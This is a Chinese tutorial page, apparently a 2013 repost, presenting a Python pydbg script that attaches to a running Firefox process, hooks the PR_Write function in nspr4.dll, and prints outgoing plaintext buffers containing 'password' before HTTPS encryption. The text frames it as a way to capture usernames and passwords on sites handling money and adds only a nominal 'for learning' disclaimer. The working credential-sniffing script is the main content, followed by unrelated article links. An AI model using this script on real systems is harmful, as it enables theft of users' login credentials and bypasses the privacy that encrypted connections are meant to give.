python利用hook技术破解https的实例代码


Posted in Python onMarch 25, 2013

相对于http协议,http是的特点就是他的安全性,http协议的通信内容用普通的嗅探器可以捕捉到,但是https协议的内容嗅探到的是加密后的内容,对我们的利用价值不是很高,所以一些大的网站----涉及到“大米”的网站,采用的都是http是协议,嘿嘿,即便这样,还是有办法能看到他的用户名和密码的,嘿嘿,本文只是用于技术学习,只是和大家交流技术,希望不要用于做违法的事情,这个例子是在firefox浏览器下登录https协议的网站,我们预先打开程序,就来了个捕获用户名和密码:

下面是源代码:

#!/ur/bin/env python     
from pydbg import *
from pydbg.defines import *import utils     
import sys     
dbg = pydbg()     
found_firefox = False
pattern = "password"
          
def ssl_sniff( dbg, args ):     
    buffer = ""     
    offset = 0
    while 1:     
        byte = dbg.read_process_memory( args[1] + offset, 1 )     
        if byte != "x00":     
            buffer += byte     
            offset += 1
            continue
        else:     
            break
    if pattern in buffer:     
        print "Pre-Encrypted: %s" % buffer
    return DBG_CONTINUE     
# 寻找firefox.exe的进程     
for (pid, name) in dbg.enumerate_processes():     
    if name.lower() == "firefox.exe":     
        found_firefox = True
        hooks = utils.hook_container()     
        dbg.attach(pid)     
        print "[*] Attaching to firefox.exe with PID: %d" % pid     
# 得到firefox的hook的 address     
        hook_address = dbg.func_resolve_debuggee("nspr4.dll","PR_Write")     
        if hook_address:     
# 添加hook的内容,包括他的pid,地址,嗅探类型    
            hooks.add( dbg, hook_address, 2, ssl_sniff, None )     
            print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address     
            break
        else:     
            print "[*] Error: Couldn't resolve hook address."
            sys.exit(-1)     
        if found_firefox:     
            print "[*] Hooks set, continuing process."
            dbg.run()     
        else:     
                print "[*] Error: Couldn't find the firefox.exe process."
                sys.exit(-1)     
if found_firefox:     
    print "[*] Hooks set, continuing process."
    dbg.run()     
else:     
    print "[*] Error: Couldn't find the firefox.exe process."
    sys.exit(-1)

转自:http://world77.blog.51cto.com/414605/518679

Python 相关文章推荐
Python编程之string相关操作实例详解
Jul 22 Python
python删除某个字符
Mar 19 Python
对python中的for循环和range内置函数详解
Apr 17 Python
Python 给某个文件名添加时间戳的方法
Oct 16 Python
详解Django-channels 实现WebSocket实例
Aug 22 Python
python3 webp转gif格式的实现示例
Dec 10 Python
opencv resize图片为正方形尺寸的实现方法
Dec 26 Python
利用python中集合的唯一性实现去重
Feb 11 Python
Python网络爬虫信息提取mooc代码实例
Mar 06 Python
如何解决cmd运行python提示不是内部命令
Jul 01 Python
解决pyinstaller 打包exe文件太大,用pipenv 缩小exe的问题
Jul 13 Python
tensorflow学习笔记之tfrecord文件的生成与读取
Mar 31 Python
利用python获得时间的实例说明
Mar 25 #Python
python 将字符串转换成字典dict
Mar 24 #Python
使用python提取html文件中的特定数据的实现代码
Mar 24 #Python
python 切片和range()用法说明
Mar 24 #Python
python list中append()与extend()用法分享
Mar 24 #Python
python del()函数用法
Mar 24 #Python
python dict remove数组删除(del,pop)
Mar 24 #Python
You might like
PHP 模板高级篇总结
2006/12/21 PHP
深入理解php的MySQL连接类
2013/06/07 PHP
自动更新作用
2006/10/08 Javascript
JS代码放在head和body中的区别分析
2011/12/01 Javascript
给事件响应函数传参数的四种方式小结
2013/12/05 Javascript
nodejs中使用monk访问mongodb
2014/07/06 NodeJs
ZeroClipboard插件实现多浏览器复制功能(支持firefox、chrome、ie6)
2014/08/30 Javascript
javascript顺序加载图片的方法
2015/07/18 Javascript
jQuery基础知识点总结(DOM操作)
2016/06/01 Javascript
JavaScript学习笔记整理_简单实现枚举类型,扑克牌应用
2016/09/19 Javascript
前端开发不得不知的10个最佳ES6特性
2017/08/30 Javascript
详解使用React全家桶搭建一个后台管理系统
2017/11/04 Javascript
在Vue组件中获取全局的点击事件方法
2018/09/06 Javascript
websocket4.0+typescript 实现热更新的方法
2019/08/14 Javascript
JavaScript键盘事件响应顺序详解
2019/09/30 Javascript
javascript使用链接跨域下载图片
2019/11/01 Javascript
Vue表单提交点击事件只允许点击一次的实例
2020/10/23 Javascript
JavaScript实现鼠标经过表格某行时此行变色
2020/11/20 Javascript
浅谈Python由__dict__和dir()引发的一些思考
2017/10/30 Python
详解Python nose单元测试框架的安装与使用
2017/12/20 Python
TensorFlow神经网络优化策略学习
2018/03/09 Python
Django配置MySQL数据库的完整步骤
2019/09/07 Python
Python如何发送与接收大型数组
2020/08/07 Python
BeautifulSoup获取指定class样式的div的实现
2020/12/07 Python
html5 button autofocus 属性介绍及应用
2013/01/04 HTML / CSS
瑞典轮胎在线:Tirendo.se
2018/06/21 全球购物
加工操作管理制度
2014/01/19 职场文书
贷款委托书范本
2014/04/08 职场文书
酒店总经理岗位职责范本
2014/08/08 职场文书
长江七号观后感
2015/06/11 职场文书
2016年三八红旗手先进事迹材料
2016/02/26 职场文书
团组织关系介绍信
2019/06/24 职场文书
2019军训心得体会
2019/06/27 职场文书
MySQL 如何分析查询性能
2021/05/12 MySQL
Redis集群新增、删除节点以及动态增加内存的方法
2021/09/04 Redis
JS前端使用canvas实现扩展物体类和事件派发
2022/08/05 Javascript